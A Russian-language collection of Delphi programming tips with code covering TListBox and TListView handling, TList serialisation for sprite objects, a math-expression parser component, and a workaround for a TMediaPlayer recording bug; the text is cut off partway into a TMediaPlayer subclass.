     r         := Rect(0, 0, ClientWidth, h);
     b         := Odd(TopIndex) and (TopIndex >= 0);
     max       := ClientHeight;
     cv.Brush.Style := bsSolid;
     while r.Top < max do
      begin
       cv.Brush.Color := colors[b];
       b := not b;
       cv.FillRect(r);
       OffsetRect(r, 0, h);
     end;
   finally
     cv.Handle := 0;
     cv.Free;
   end;
 end;
 procedure TForm1.ListBox1DrawItem(Control: TWinControl; Index: Integer;
   Rect: TRect; State: TOwnerDrawState);
 var
   cb, ct: TColor;
 begin
   if not (odSelected in State) then
     with Control as TListbox do
      begin
       Canvas.Brush.Color := colors[Odd(Index)];
       Canvas.Brush.Style := bsSolid;
     end;
   Rect.Right := Control.ClientWidth;
   with Control as TListbox do
    begin
     Canvas.FillRect(Rect);
     Canvas.Brush.Style := bsClear;
     Canvas.TextRect(Rect, Rect.Left + 2, Rect.Top, Items[Index]);
   end;
 end;
 end.

Как узнать, по какой колонке был клик в TListView.

Метод GetItemAt позволяет получить координаты ListItem, по которой был клик, но только для первой колонки TListView. Если нужно узнать по какому элементу из другой колонки кликнул пользователь, то прийдётся объявить новый метод в наследованном классе:

uses ComCtrls;
type
  TListViewX = class(TListView)
  public
    function GetItemAtX(X, Y: integer; var Col: integer): TListItem;
  end;
implementation
function TListViewX.GetItemAtX(X, Y: integer;
  var Col: integer): TListItem;
var
  i, n, RelativeX, ColStartX: Integer;
  ListItem: TlistItem;
begin
  Result := GetItemAt(X, Y);
  if Result <> nil then begin
    Col := 0; // Первая колонка
  end else if (ViewStyle = vsReport)
    and (TopItem <> nil) then begin
    // Первая, попробуем найти строку
    ListItem := GetItemAt(TopItem.Position.X, Y);
    if ListItem <> nil then begin
      // Теперь попробуем найти колонку
      RelativeX := X - ListItem.Position.X - BorderWidth;
      ColStartX := Columns[0].Width;
      n := Columns.Count - 1;
      for i := 1 to n do begin
        if RelativeX < ColStartX then break;
        if RelativeX <= ColStartX +
          StringWidth(ListItem.SubItems[i - 1]) then
        begin
          Result := ListItem;
          Col := i;
          break;
        end; //if
        Inc(ColStartX, Columns[i].Width);
      end; //for
    end; //if
  end; //if
end;

А вот так выглядит событие MouseDown:

procedure TForm1.ListView1MouseDown(Sender: TObject;
  Button: TMouseButton; Shift: TShiftState; X, Y: Integer);
var
  col: integer;
  li: TListItem;
begin
  li := TListViewX(ListView1).GetItemAtX(x, y, col);
  if li <> nil then
    ShowMessage('Column #' + IntToStr(col));
end;

Искать текст в TListView.

Заходит как то программист в комп.магазин долго ходил смотрел всё высматривал потом подходит к продавщице и просит посмотреть каталог, потом минуту спустя спрашивает: - Извинити это у вас цены или номера ICQ???
// Call FindCaption Method to search for a list view item labeled by the 
// string specified as the Value parameter 
// Syntax: 
function FindCaption(StartIndex: Integer; Value: string; 
  Partial, Inclusive, Wrap: Boolean): TListItem; 
// Example, Beispiel: 
procedure TForm1.Button1Click(Sender: TObject); 
var 
  lvItem: TListItem; 
begin 
  lvItem := ListView1.FindCaption(0,      // StartIndex: Integer; 
                                  '99',   // Search string: string; 
                                  True,   // Partial, 
                                  True,   // Inclusive 
                                  False); // Wrap  : boolean; 
  if lvItem <> nil then 
  begin 
    ListView1.Selected := lvItem; 
    lvItem.MakeVisible(True); 
    ListView1.SetFocus; 
  end; 
end; 
// To search for a list view subitem (also for items), use this function: 
{ 
  Search for text in a listview item 
  @Param lv is the listview, supposed to be in vaReport mode 
  @Param S is the text to search for 
  @Param column is the column index for the column to search , 0-based 
  @Returns the found listview item, or Nil if none was found 
  @Precondition  lv  nil, lv in report mode if column  0, S not empty 
  @Desc The search is case-insensitive and will only match on the 
  complete column content. Use AnsiContainsText instead of AnsiCompareText 
  to match on a substring in the columns content. 
  Created 14.10.2001 by P. Below 
} 
function FindListViewItem(lv: TListView; const S: string; column: Integer): TListItem; 
var 
  i: Integer; 
  found: Boolean; 
begin 
  Assert(Assigned(lv)); 
  Assert((lv.viewstyle = vsReport) or (column = 0)); 
  Assert(S <> ''); 
  for i := 0 to lv.Items.Count - 1 do 
  begin 
    Result := lv.Items[i]; 
    if column = 0 then 
      found := AnsiCompareText(Result.Caption, S) = 0 
    else if column > 0 then 
      found := AnsiCompareText(Result.SubItems[column - 1], S) = 0 
    else 
      found := False; 
    if found then 
      Exit; 
  end; 
  // No hit if we get here 
  Result := nil; 
end; 
// Example call: 
procedure TForm1.Button1Click(Sender: TObject); 
var 
  lvItem: TListItem; 
begin 
  // Search subitem[0] for text from edit1 
  // in der Spalte subitem[0] den Text aus Edit1 suchen 
  lvItem := FindListViewItem(ListView1, Edit1.Text, 1); 
  // if found, then show the item 
  // falls item gefunden, dann anzeigen 
  if lvItem <> nil then 
  begin 
    ListView1.Selected := lvItem; 
    lvItem.MakeVisible(True); 
    ListView1.SetFocus; 
  end; 
end; 
// Function to search items and select if found 
procedure LV_FindAndSelectItems(lv: TListView; const S: string; column: Integer); 
var 
  i: Integer; 
  found: Boolean; 
  lvItem: TListItem; 
begin 
  Assert(Assigned(lv)); 
  Assert((lv.ViewStyle = vsReport) or (column = 0)); 
  Assert(S <> ''); 
  for i := 0 to lv.Items.Count - 1 do 
  begin 
    lvItem := lv.Items[i]; 
    if column = 0 then 
      found := AnsiCompareText(lvItem.Caption, S) = 0 
    else if column > 0 then 
    begin 
      if lvItem.SubItems.Count >= Column then 
        found := AnsiCompareText(lvItem.SubItems[column - 1], S) = 0 
      else  
        found := False; 
    end 
    else 
      found := False; 
    if found then 
    begin 
      lv.Selected := lvItem; 
    end; 
  end; 
end; 
procedure TForm1.Button1Click(Sender: TObject); 
var 
  lvItem: TListItem; 
begin 
  // in der Spalte subitem[0] den Text aus Edit1 suchen 
  LV_FindAndSelectItems(ListView1, Edit1.Text, 1); 
  ListView1.SetFocus; 
end;

Файл типа TList.

Ок, но это не так просто, как кажется. Тем не менее, с помощью некоторых людей из конференции, мне удалось сделать это и придать коду законченный вид. Ниже приведен исходный код для Toverheadmap...

Обратите внимание на методы объекта ReadData и WriteData, используемые для его записи на диск, и методы SaveToFile и LoadFromFile самого TList. Правильным было бы сделать их более совместимыми (общими), но на это пока у меня не хватило времени. (Т.е., TList должен был бы восстанавливать/сохранять любой объект с помощью метода readdata/writedata.).

unit Charactr;
interface
uses
  Graphics, StdCtrls, Classes, Sysutils, Winprocs, Ohmap, ohmstuff;
type
  TMapCharacterList = class(TList)
  private
    FMap: TOverHeadMap;
  public
    procedure RenderVisibleCharacters; virtual;
    procedure Savetofile(const filename: string);
    procedure Loadfromfile(const filename: string);
    procedure Clear;
    destructor Destroy; override;
    property MapDisp: TOverHeadMap read FMap write FMap;
  end;
  TFrameStore = class(TList)
    procedure WriteData(Writer: Twriter); virtual;
    procedure ReadData(Reader: TReader); virtual;
    procedure Clear;
  end;
  TMapCharacter = class(TPersistent)
  private
    FName: string;
    FMap: TOverHeadMap;
    FFrame: Integer;
    FFramebm, FFrameMask, FWorkBuf: TBitmap;
    FFrameStore, FMaskStore: TFrameStore;
    FXpos, FYpos, FZpos: Integer;
    FTransColor: TColor;
    FVisible, FFastMode, FIsClone, FRedrawBackground: Boolean;
    procedure SetFrame(num: Integer);
    function GetOnScreen: Boolean;
    procedure SetVisible(vis: Boolean);
    procedure MakeFrameMask(trColor: TColor);
    procedure MakeFrameMasks; {Для переключения в быстрый режим...}
    procedure ReplaceTransColor(trColor: TColor);
    procedure SetXPos(x: Integer);
    procedure SetYPos(y: Integer);
    procedure SetZPos(z: Integer);
    procedure SetFastMode(fast: Boolean);
  public
    constructor Create(ParentMap: TOverheadmap); virtual;
    destructor Destroy; override;
    property Name: string read FName write FName;
    property Fastmode: Boolean read FFastMode write SetFastMode;
    property FrameStore: TFrameStore read FFrameStore write FFramestore;
    property MaskStore: TFrameStore read FMaskStore write FMaskStore;
    property Frame: integer read FFrame write SetFrame;
    property Framebm: TBitmap read FFramebm;
    property FrameMask: TBitmap read FFrameMask;
    property TransColor: TColor read FTransColor write FTransColor;
    property Xpos: Integer read FXpos write SetXpos;
    property YPos: Integer read FYpos write SetYpos;
    property ZPos: Integer read FZpos write SetZpos;
    property Map: TOverHeadMap read FMap write FMap;
    property OnScreen: Boolean read GetOnScreen;
    property Visible: Boolean read FVisible write SetVisible;
    property IsClone: Boolean read FIsClone write FIsClone;
    property RedrawBackground: Boolean read FRedrawBackground write
      FRedrawBackground;
    procedure Render; virtual;
    procedure RenderCharacter(mapcoords: Boolean; cxpos, cypos: Integer; mask,
      bm,
      wb: TBitmap); virtual;
    procedure Clone(Source: TMapCharacter); virtual;
    procedure SetCharacterCoords(x, y, z: Integer); virtual;
    procedure WriteData(Writer: Twriter); virtual;
    procedure ReadData(Reader: TReader); virtual;
  end;
implementation
constructor TMapCharacter.Create(ParentMap: TOverheadmap);
begin
  inherited Create;
  FIsClone := False;
  FFramebm := TBitMap.create;
  FFrameMask := TBitmap.Create;
  FWorkbuf := TBitMap.Create;
  if not (FIsClone) then
    FFrameStore := TFrameStore.Create;
  FTransColor := clBlack;
  FFastMode := False;
  FMap := ParentMap;
end;
destructor TMapCharacter.Destroy;
var
  a, b: Integer;
begin
  FFramemask.free;
  FFramebm.free;
  FWorkBuf.Free;
  if not (FIsClone) then
  begin
    FFrameStore.Clear;
    FFrameStore.free;
  end;
  if (MaskStore <> nil) and not (FIsClone) then
  begin
    MaskStore.Clear;
    MaskStore.Free;
  end;
  inherited Destroy;
end;
{
Данная процедура копирует важную информацию из символа в себя
...
Стартуем невидимое клонирование, с нулевыми координатами карты.
}
procedure TMapCharacter.Clone(Source: TMapCharacter);
begin
  FName := Source.Name;
  FFastMode := Source.FastMode;
  FFrameStore := Source.FrameStore;
  FMaskStore := Source.MaskStore;
  FTransColor := Source.TransColor;
  FMap := Source.Map;
  FVisible := False;
  Frame := Source.Frame; {Ищем фрейм триггера.}
  FIsClone := True;
end;
procedure TMapCharacter.SetXPos(x: Integer);
begin
  Map.Redraw(xpos, ypos, zpos, -1);
  FXpos := x;
  Render;
end;
procedure TMapCharacter.SetYPos(y: Integer);
begin
  Map.Redraw(xpos, ypos, zpos, -1);
  FYPos := y;
  Render;
end;
procedure TMapCharacter.SetZPos(z: Integer);
begin
  Map.Redraw(xpos, ypos, zpos, -1);
  FZpos := z;
  Render;
end;
procedure TMapCharacter.SetCharacterCoords(x, y, z: Integer);
begin
  Map.Redraw(xpos, ypos, zpos, -1);
  Fxpos := x;
  Fypos := y;
  Fzpos := z;
  Render;
end;
procedure TMapCharacter.SetFrame(num: Integer);
begin
  if (num <= FFrameStore.count - 1) and (num > -1) then
  begin
    FFrame := num;
    FFramebm.Assign(TBitmap(FFrameStore.items[num]));
    if Ffastmode = false then
    begin
      FFrameMask.Width := FFramebm.width;
      FFrameMask.Height := FFramebm.height;
      FWorkBuf.Height := FFramebm.height;
      FWorkBuf.Width := FFramebm.width;
      makeframemask(TransColor);
      replacetranscolor(TransColor);
    end
    else
    begin
      FWorkBuf.Height := FFramebm.height;
      FWorkBuf.Width := FFramebm.width;
      FFrameMask.Assign(TBitmap(FMaskStore.items[num]));
    end;
  end;
end;
procedure TMapCharacter.MakeFrameMask(trColor: TColor);
var
  testbm1, testbm2: TBitmap;
  trColorInv: TColor;
begin
  testbm1 := TBitmap.Create;
  testbm1.width := 1;
  testbm1.height := 1;
  testbm2 := TBitmap.Create;
  testbm2.width := 1;
  testbm2.height := 1;
  testbm1.Canvas.Pixels[0, 0] := trColor;
  testbm2.Canvas.CopyMode := cmSrcInvert;
  testbm2.Canvas.Draw(0, 0, testbm1);
  trColorInv := testbm2.Canvas.Pixels[0, 0];
  testbm1.free;
  testbm2.free;
  with FFrameMask.Canvas do
  begin
    Brush.Color := trColorInv;
    BrushCopy(Rect(0, 0, FFrameMask.Width, FFrameMask.Height), FFramebm,
      Rect(0, 0, FFramebm.Width, FFramebm.Height), trColor);
    CopyMode := cmSrcInvert;
    Draw(0, 0, FFramebm);
  end;
end;
procedure TMapCharacter.ReplaceTransColor(trColor: TColor);
begin
  with FFramebm.Canvas do
  begin
    CopyMode := cmSrcCopy;
    Brush.Color := clBlack;
    BrushCopy(Rect(0, 0, FFramebm.Width, FFramebm.Height), FFramebm,
      Rect(0, 0, FFramebm.Width, FFramebm.Height), trColor);
  end;
end;
function TMapCharacter.GetOnScreen: Boolean;
var
  dispx, dispy: Integer;
begin
  dispx := Map.width div map.tilexdim;
  dispy := Map.height div map.tileydim;
  if (xpos >= Map.xpos) and (xpos <= map.xpos + dispx) and (ypos >= map.ypos)
    and
    (ypos >= map.ypos + dispy) then
    result := true;
end;
procedure TMapCharacter.SetVisible(vis: Boolean);
begin
  if vis and OnScreen then
    Render;
  FVisible := vis;
end;
procedure TMapCharacter.SetFastMode(fast: Boolean);
begin
  if fast <> FFastMode then
  begin
    if fast = true then
    begin
      FMaskStore := TFrameStore.Create;
      MakeFrameMasks;
      FFastMode := True;
      frame := 0;
    end
    else
    begin
      FMaskStore.Free;
      FFastMode := False;
    end;
  end;
end;
procedure TMapCharacter.MakeFrameMasks;
var
  a: Integer;
  bm: TBitMap;
begin
  if FFrameStore.count > 0 then
  begin
    for a := 0 to FFrameStore.Count - 1 do
    begin
      Frame := a;
      bm := TBitMap.create;
      bm.Assign(FFrameMask);
      FMaskStore.add(bm);
    end;
  end;
end;
procedure TMapCharacter.Render;
var
  x, y: Integer;
begin
  if visible and onscreen then
    RenderCharacter(true, xpos, ypos, FFramemask, FFramebm, FWorkbuf);
end;
procedure TMapCharacter.RenderCharacter(mapcoords: Boolean; cxpos, cypos:
  Integer; mask, bm, wb: TBitmap);
var
  x, y: Integer;
begin
  if map.ready then
  begin
    {
    Если пользователь определил это в mapcoords, то в первую
    очередь перерисовываем секцию(и). Если нет, делает это он.
    }
    if mapcoords then
    begin
      if FRedrawBackground then
        Map.redraw(cxpos, cypos, FMap.zpos, -1);
      wb.Canvas.Draw(0, 0, TMapIcon(FMap.Iconset[map.zoomlevel].items
        [FMap.Map.Iconat(cxpos, cypos, Map.zpos)]).image);
      x := (cxpos - Map.xpos) * FMap.tilexdim;
      y := (cypos - Map.ypos) * FMap.tileydim;
    end
    else
      wb.Canvas.Copyrect(rect(0, 0, FMap.tilexdim, FMap.tileydim), FMap.
        Screenbuffer.canvas, rect(x, y, x + FMap.tilexdim,
        y + FMap.tileydim));
    with wb do
    begin
      Map.Canvas.CopyMode := cmSrcAnd;
      Map.Canvas.Draw(0, 0, Mask);
      Map.Canvas.CopyMode := cmSrcPaint;
      Map.Canvas.Draw(0, 0, bm);
      Map.Canvas.Copymode := cmSrcCopy;
    end;
    Map.Canvas.CopyRect(Rect(x, y, x + FMap.tilexdim, y + FMap.tileydim), wb.
      canvas,
      Rect(0, 0, FMap.tilexdim, FMap.tileydim));
  end;
end;
procedure TMapCharacter.WriteData(Writer: TWriter);
begin
  with Writer do
  begin
    WriteListBegin;
    WriteString(FName);
    WriteBoolean(FFastMode);
    WriteInteger(TransColor);
    FFrameStore.WriteData(Writer);
    if FFastMode then
      FMaskStore.WriteData(Writer);
    WriteListEnd;
  end;
end;
procedure TMapCharacter.ReadData(Reader: TReader);
begin
  with Reader do
  begin
    ReadListBegin;
    Fname := ReadString;
    FFastMode := ReadBoolean;
    TransColor := ReadInteger;
    FFrameStore.ReadData(Reader);
    if FFastMode then
    begin
      FMaskStore := TFrameStore.Create;
      FMaskStore.ReadData(Reader);
    end;
    ReadListEnd;
  end;
end;
procedure TMapCharacterList.RenderVisibleCharacters;
var
  a: Integer;
begin
  for a := 0 to count - 1 do
    TMapCharacter(items[a]).render;
end;
procedure TMapCharacterList.clear;
var
  obj: TObject;
begin
  {Этот код освобождает все ресурсы, присутствующие в списке}
  if self.count > 0 then
  begin
    repeat
      obj := self.items[0];
      obj.free;
      self.remove(self.items[0]);
    until self.count = 0;
  end;
end;
destructor TMapCharacterList.Destroy;
var
  a: Integer;
begin
  if count > 0 then
    for a := 0 to count - 1 do
      TObject(items[a]).free;
  inherited destroy;
end;
procedure TMapCharacterList.loadfromfile(const filename: string);
var
  i: Integer;
  Reader: Treader;
  Stream: TFileStream;
  obj: TMapCharacter;
begin
  stream := TFileStream.create(filename, fmOpenRead);
  try
    reader := TReader.create(stream, $FF);
    try
      with reader do
      begin
        try
          ReadSignature;
          if ReadInteger <> $6667 then
            raise EReadError.Create('Не список сиволов.');
        except
          raise EReadError.Create('Неверный формат файла.');
        end;
        ReadListBegin;
        while not EndofList do
        begin
          obj := TMapCharacter.create(FMap);
          try
            obj.ReadData(reader);
          except
            obj.free;
            raise EReadError.Create('Ошибка в файле списка символов.');
          end;
          self.add(obj);
        end;
        ReadListEnd;
      end;
    finally
      reader.free;
    end;
  finally
    stream.free;
  end;
end;
procedure TMapCharacterList.savetofile(const filename: string);
var
  Stream: TFileStream;
  Writer: TWriter;
  i: Integer;
  obj: TMapCharacter;
begin
  stream := TFileStream.create(filename, fmCreate or fmOpenWrite);
  try
    writer := TWriter.create(stream, $FF);
    try
      with writer do
      begin
        WriteSignature;
        WriteInteger($6667);
        WriteListBegin;
        for i := 0 to self.count - 1 do
          TMapCharacter(self.items[i]).writedata(writer);
        WriteListEnd;
      end;
    finally
      writer.free;
    end;
  finally
    stream.free;
  end;
end;
procedure TFrameStore.WriteData(Writer: TWriter);
var
  mstream: TMemoryStream;
  a, size: Longint;
begin
  mstream := TMemoryStream.Create;
  try
    with writer do
    begin
      WriteListBegin;
      WriteInteger(count);
      for a := 0 to count - 1 do
      begin
        TBitmap(items[a]).savetostream(mstream);
        size := mstream.size;
        WriteInteger(size);
        Write(mstream.memory^, size);
        mstream.position := 0;
      end;
      WriteListEnd;
    end;
  finally
    Mstream.free;
  end;
end;
procedure TFrameStore.ReadData(Reader: TReader);
var
  mstream: TMemoryStream;
  a, listcount, size: Longint;
  newframe: TBitMap;
begin
  mstream := TMemoryStream.create;
  try
    with reader do
    begin
      ReadListBegin;
      Listcount := ReadInteger;
      for a := 1 to listcount do
      begin
        size := ReadInteger;
        mstream.setsize(size);
        read(mstream.Memory^, size);
        newframe := TBitmap.create;
        newframe.loadfromstream(mstream);
        add(newframe);
      end;
      ReadListEnd;
    end;
  finally
    Mstream.free;
  end;
end;
procedure TFrameStore.clear;
var
  Obj: TObject;
begin
  {{Этот код освобождает все ресурсы, присутствующие в списке}
  if self.count > 0 then
  begin
    repeat
      obj := self.items[0];
      obj.free;
      self.remove(self.items[0]);
    until self.count = 0;
  end;
end;
end.

TMathExpression - компонент для синтаксического анализа.

Автор: Виталий Бабичев Уважаемые жители, для тестирования предлагается TMathExpression — компонент, предназначенный для синтаксического анализа и расчета математических выражений. Компонент тестировался под Delphi5. Для тестирования предлагается Demo-версия, в которой есть ограничения на количество обрабатываемых формул (не более 10). ВСЕМ, кто примет активное участие в тестировании и даст конкретные предложения по качественному улучшению работы компонента, хелпа к нему или демонстрационной программы, проект будет предоставлен БЕЗ ОГРАНИЧЕНИЙ. Основные возможности Статьи по Delphi (017)… Компонент предназначен для синтаксического анализа и расчета математических выражений. Выражение - арифметическое выражение, состоящее из имен формул, констант и пользовательских функций. Математические выражения могут быть взяты из любого источника данных (таблица, текстовый файл, лист MSExcel и т.д.). Проще всего если источником данных является таблица, потому что метод FillExpression формирует список формул из указанной таблицы. Если источником данных является не таблица, то для формирования списка формул надо воспользоваться методом AddExpression. Формула - поименованное выражение, т.е. любому выражению может быть присвоено имя, и это имя может быть вставлено в другое выражение. Это сделано для исключения повторного вычисления. Допустим, у Вас есть несколько одинаковых кусочков выражения. Вы выделяете этот кусочек в отдельное выражение и именуете его. А в другие выражения вставляете наименование этой формулы. При вычислениях формула будет посчитана один раз. А там, где в выражениях встречается это наименование формулы, будет проставлен результат. Это экономит время расчета. Функции это тот механизм, ради которого и создавался компонент TMathExpression. У компонента TMathExpression есть свойство-коллекция TFunctions, она и содержит список пользовательских функций с их реализацией. В связи с тем, что функции участвуют в выражениях, они обязательно должны возвращать число. В принципе функции могут делать что угодно (что-то вычислить, обнулить какие-то параметры или даже закрыть какое-нибудь приложение и т.д.), но как результат - возвратить число.

Функции могут быть четырех типов (т.е. их параметры могут быть четырех типов):

1. ПАРАМЕТР - СЧЕТ ИЛИ ИДЕНТИФИКАТОР; Счет может быть представлен в двух вариантах: 1. Счет 2-го порядка (5 символов); Функции, у которых параметр счет второго порядка, возвращают остаток или оборот по счету. 2. Счет 1-го порядка (3 символа); В его состав входит группа счетов в диапазоне от ХХХО0 до ХХХ99 (где ХХХ - номер счета). Функции, у которых параметр счет первого порядка, возвращают сумму остатков или оборотов по группе счетов, входящих в состав счета первого порядка. Первый и второй порядок - это бухгалтерские понятия, в которые я вдаваться не буду. Иногда возникает необходимость расчета параметра, в состав которого входят счета из разных групп. Это, конечно, можно сделать, если составить выражение из функций, параметрами которой являются нужные счета. Но тогда выражение может быть слишком большим, что затрудняет его читаемость и как следствие, возникают трудности с модификацией такого выражения. Для такого случая введено понятие - идентификатор списка счетов. Списку счетов присваивается имя. Далее в выражение вставляется вызов одной функции, параметром которой является имя списка счетов. Это существенно сокращает длину выражения, да и редактировать список счетов гораздо легче. 2. ПАРАМЕТР - НАИМЕНОВАНИЕ ФОРМУЛЫ; Функции, параметрами которых могут быть имена формул. В каких ситуациях это может понадобиться? Допустим у Вас есть ряд однотипных объектов, по которым необходимо сделать сводный отчет. Это могут быть, например, филиалы предприятия в различных регионах, склады и т.д. Вы определяете функцию, которая считает сводный показатель. В данном случае результатом будет сумма значений формулы по всем однотипным объектам. 3. ПАРАМЕТР - ЛЮБОЙ, НО ОДИН; Этот тип функций введен для случаев, которые не попадают под описание первых двух. Например, функция должна возвратить значение по определенному критерию, который не является ни счетом, ни идентификатором списков счетов, ни формулой. Для такого параметра устанавливаются свои правила проверки синтаксиса (для всех остальных правила проверки синтаксиса известны). Но условия при вычислении остаются прежними - функция должна возвратить число. У каждой пользовательской функции есть свойство OnCheckParam, но актуально оно только для этого типа функций (в остальных случаях событие игнорируется, даже если определен обработчик). В обработчике для этого события можно проверять правильность заполнения параметра. Этот обработчик должен быть обязательно определен, в противном случае при синтаксическом разборе будет ошибка. Допустим, у Вас есть справочник с критериями, накопительная база с данными по этим критериям за разные периоды времени и Вы хотите иметь функцию для возврата этих значений. Вы добавляете функцию, присваиваете ей нужный тип и имя. В обработчике для события OnCheckParam, Вы определяете правила проверки синтаксиса, а в обработчике события OnExecFunction ее реализацию. Вот, собственно, и все. 4. УСЛОВНАЯ ФУНКЦИЯ; Аналогом таких функций является условный оператор IF в языках программирования. В такую функцию передается три параметра: условие, выражение если условие истинно, выражение если условие ложно. Условие разделено на две части, между которыми должен стоять один из знаков сравнения ("=","<>","<",">","<=",">="). Все выражения могут содержать в себе любое количество формул, констант и функций.

ОБРАБОТКА ОШИБОК.

В связи с тем, что в выражения могут быть вставлены наименования формул, синтаксический анализатор проверяет дополнительно ситуацию зацикливания. Что же это такое зацикливание? Допустим, у Вас есть три формулы:
Formula1=Formula2+1
Formula2=Formula3-1
Formula3=Formula1
Обратите внимание, что Formula1 ссылается на Formula2, Formula2 ссылается на Formula3, а Formula3 в свою очередь ссылается на Formula1. Образуется замкнутая цепочка, из которой не понятно как производить вычисления, хотя синтаксически все написано правильно. Вот это и называется зацикливанием. При ее возникновении, синтаксический анализатор выдает сообщение об ошибке и выводит всю замкнутую цепочку. Все примеры использования приведены в демонстрационной программе. Буду рад выслушать все замечания и предложения.

Скачать проект: MathExpr.zip (98 K).

VCL.TMediaPlayer. Проблема записи при невыбранном файле.

Автор: Кирилл Грибунин Проблема выявлена в Delphi 6, UpdatePack 2, под управлением Windows 2000, Windows ME, Windows 98. Нужно записать что-то, например, с микрофона, после чего сохранить это в файл, например test.wav. Что для этого делаем. Так как файла на момент начала записи ещё нет, оставляем свойство FileName пустым. Свойство DeviceType ставим dtWaveAudio, т.к. при dtAutoSelect получим при открытии ехсерtiоn с сообщением, что невозможно определить тип устройства из расширения файла.

Далее пишем следующий код:

MediaPlayer1.Open;
MediaPlayer1.StartRecording;

Запись не начинается. Отладка функции StartRecording показывает, что последняя строка этой функции:

FError := mciSendCommand( FDeviceID, mci_Record, FFlags, Longint(@RecordParm));
возвращает код 274 (MCIERR_UNSUPPORTED_FUNCTION).

Изучение проблемы показывает следующее. В методе Open написан следующий код:

procedure TMediaPlayer.Open;
begin
  ...
  if FDeviceType <> dtAutoSelect then
    FFlags := FFlags or mci_Open_Type
  else
    FFlags := FFlags or MCI_OPEN_ELEMENT;
  ...
end;
т.е., если DeviceType не dtAutoSelect, то флаг MCI_OPEN_ELEMENT не ставится. Этот код, видимо был написан после прочтения следующего места в MSDN: To use automatic type selection (via the entries in the registry), assign the filename and file extension to the lpstrElementName member of the structure identified by lpOpen, set the lpstrDeviceType member to NULL, and set the MCI_OPEN_ELEMENT flag. Но программист MPlayer.pas не прочитал другого места в MSDN, в котором описывается ещё одно применение флага MCI_OPEN_ELEMENT: If a compound device supports recording, an application can open the device without specifying a name for the device element. In this case, the application uses the MCI_OPEN_ELEMENT flag with a zero-length, zero-terminated string for the element name. Recorded data is not saved in a permanent file until the application explicitly saves it with the MCI_SAVE command, specifying the name of the destination file.

ТИПОВЫЕ РЕШЕНИЯ

Видимо, ситуация следующая. В MSDN указывается, что флаг MCI_OPEN_ELEMENT следует использовать не во всех случаях, а в двух ситуациях: Когда используем автоматическое определение устройства по имени файла (при чтении) Когда имя файла не указывается (при записи) При открытии конкретного устройства (например, CD-AUDIO) для чтения, этот флаг указывать не нужно. Таким образом, уже при открытии нужно знать, что мы собираемся дальше делать с устройством. Так как в логике MediaPlayer в методе Open этого нам знать не дано, то можно попытаться в коде этого метода сделать предположения: если имя файла указано, то мы наверняка будем использовать плейер для чтения. В этом случае, если устройство Auto, то флаг указываем, иначе — нет. если имя файла не указано, то мы будем использовать устройство для записи. Флаг ставим.

Код этого участка получается следующим:

if FElementName <> '' then
begin
  if FDeviceType = dtAutoSelect then
    FFlags := FFlags or MCI_OPEN_ELEMENT
  else
    FFlags := FFlags or mci_Open_Type;
end
else
  FFlags := FFlags or MCI_OPEN_ELEMENT;
С таким исправлением тестовый пример работает нормально. Надеюсь, что вышеприведённый код, хотя и не особенно корректный (в силу некорректных предположений о дальнейшем использовании устройства при открытии), но как-то может помочь программистам, пытающимся использовать MediaPlayer для записи хоть каким-нибудь образом.

P.S. Код MPlayer.pas вообще довольно неряшлив. Например, в том же методе Open видим следующий фрагмент, в котором два раза проверяется условие FDeviceType <> dtAutoSelect, первый раз — вхолостую:

if FDeviceType <> dtAutoSelect then
  FFlags := FFlags or mci_Open_Type;
if FDeviceType <> dtAutoSelect then
  FFlags := FFlags or mci_Open_Type
else
  FFlags := FFlags or MCI_OPEN_ELEMENT;
Скачать тест StoneTest_38.zip (12k) КОММЕНТАРИЙ

В MPlayer.pas от Delphi 5 Update pack 1 это место имеет другой вид (кстати, это единственное отличие в коде модуля от версии Delphi 6):

if FDeviceType <> dtAutoSelect then
begin
  if FElementName <> '' then
    FFlags := FFlags or MCI_OPEN_ELEMENT;
  FFlags := FFlags or mci_Open_Type;
end
else
  FFlags := FFlags or MCI_OPEN_ELEMENT;
Но, тем не менее, описанная проблема имеет место быть. Приведенный автором код работает не во всех случаях (проверено в Delphi 5, WinNT4 SP6). А именно: нельзя записать в существующий файл WAV и нельзя открыть устройство для воспроизведения без указания файла (например - CDAudio как диск).

Эксперимент показывает, что для успешной операции записи звука в файл (новый или существующий), при явном указании типа устройства, должны быть установлены оба флага - MCI_OPEN_TYPE и MCI_OPEN_ELEMENT. Исправленный для этого случая код выглядит следующим образом:

FFlags := FFlags or MCI_OPEN_ELEMENT;
if FDeviceType <> dtAutoSelect then
  FFlags := FFlags or mci_Open_Type;
Однако, при этом TMediaPlayer может не работать с другими типами устройств. Проверка показала, что так оно и есть - пишутся и проигрываются WAV файлы нормально, AVI - тоже проигрывается, а вот устройство CDAudio даже открываться не хочет - Exception на основании ошибки 296 (MCIERR_INVALID_FILE). Остальные типы устройств не проверялись.

Заранее нельзя определить, открывают TMediaPlayer для записи или нет. Напрашивается мысль, что MCI_OPEN_ELEMENT в случае FDeviceType <> dtAutoSelect можно выставлять только при условии, если устройство поддерживает запись. Об этом можно узнать из флага FCanRecord, значение которого определяется в методе.

procedure TMediaPlayer.GetDeviceCaps;
Но эта процедура вызывается (и может быть вызвана) только после открытия устройства. Получается замкнутый круг.

Вывод. Исходный код TMediaPlayer нуждается в серьезной доработке. Как "заплатный" вариант, представляется попытка открыть устройство с MCI_OPEN_ELEMENT, а в случае ошибки - сбросить флаг и повторить попытку:

// перенесенный оригинальный участок кода
if FShareable then
  FFlags := FFlags or mci_Open_Shareable;
OpenParm.dwCallback := Handle;
// измененный участок
FFlags := FFlags or MCI_OPEN_ELEMENT;
repeat // фиктивный цикл здесь нужен для break
  if FDeviceType <> dtAutoSelect then
  begin
    FFlags := FFlags or mci_Open_Type;
    FError := mciSendCommand(0, mci_Open, FFlags, Longint(@OpenParm));
    if FError = 0 then
      break;
    FFlags := FFlags and not MCI_OPEN_ELEMENT;
  end;
  FError := mciSendCommand(0, mci_Open, FFlags, Longint(@OpenParm));
until true;
// последующий оригинальный участок кода
if FError <> 0 then {problem opening device}
  raise EMCIDeviceError.Create(ErrorMessage)

Пример компонента типа TMediaPlayer с регулированием темпа звучания.

{ ****************************************************************** }
{                                                                    }
{   VCL component TDTNTMMPlayer                                      }
{                                                                    }
{   This was developed by request!!                                  }
{                                                                    }
{                                                                    }
{   Copyright ® 2001 by Jason White  jason@dtnt.co.uk                }
{                                                                    }
{ ****************************************************************** }
unit DTNTMMPlayer;
interface
uses WinTypes, WinProcs, Messages, SysUtils, Classes, Controls,
     Forms, Graphics, Mplayer, mmsystem;
type
  TDTNTMMPlayer = class(TMediaPlayer)
    private
      { Private fields of TDTNTMMPlayer }
